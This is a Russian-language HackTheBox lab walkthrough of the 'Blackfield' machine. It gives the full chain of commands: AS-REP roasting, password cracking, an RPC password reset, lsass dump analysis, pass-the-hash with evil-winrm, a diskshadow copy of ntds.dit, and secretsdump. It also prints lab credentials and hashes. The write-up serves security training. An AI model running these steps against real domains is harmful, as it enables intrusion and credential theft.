HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

lqngyb4zq6u3wkxiwgoo2a-cjyc.png


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192 	blackfield.htb


Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


kufnhqopykfi-wtimmga8b4__pk.png

Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.19


csrwwywzpz19amaohw08p5v1b9y.png

И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2


mhntap2nswqbodpy0nsdeymtx9u.png

Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.


Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt


А теперь выполним ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt


q22hc4bfdcsckx80lxdtrgitz9e.png

И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt


txpaig0j9cmk_pteu7igs0d2rrs.png

И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null


ixecsyex1lxziohxqnilgkzkauk.png

Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support


i8lvsxpmvx_yxdaxlau4aesrcea.png

Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'


uw81l0kvnzgg6upintlimkfvpty.png

Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192


11nt63o00vn4r-1mfcn32evff4w.png

Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R


5j4d_c9ho25s4lvhqtz51lr5tky.png

И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192


n2cerxpyc3n2wbp-6rafwejk0ng.png

Теперь перейдем в Windows машину и используем mimikatz.

vprsphh9eu0a6rp5ybfy5xd_tye.png

И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d


yvkn7ef-4qhx3ckfa4qw6d6szmo.png

ROOT


Давайте посмотрим группы и привилегии пользователя.

povhw9veldhd8ws5mgyp-w9detw.png

Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:


И теперь загрузим его и скачанные библиотеки на хост.

tg_lpcuaob1uy3mhg6h2kdzxiby.png

Выполним теневое копирование.

diskshadow /s ds.txt


zsyew8x7urnnvbm1w_zsrrckjlg.png

keshyxf355zyvu-yoc4fi9_vbry.png

И сдампим файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit


hecvu9gg57n5uyhxlysmx8e05yo.png

Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLM\SYSTEM C:\Temp\SYSTEM


0xih248cncksvuidopbobalfbng.png

Скачиваем оба файла с машины.

ikwnh0rbkg7zahowbaylrbatdyw.png

И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL


kivmx202tzye5kgjg5ub2tupbho.png

Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

z09_fqchsc_ct9za6epyhwwsves.png

У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru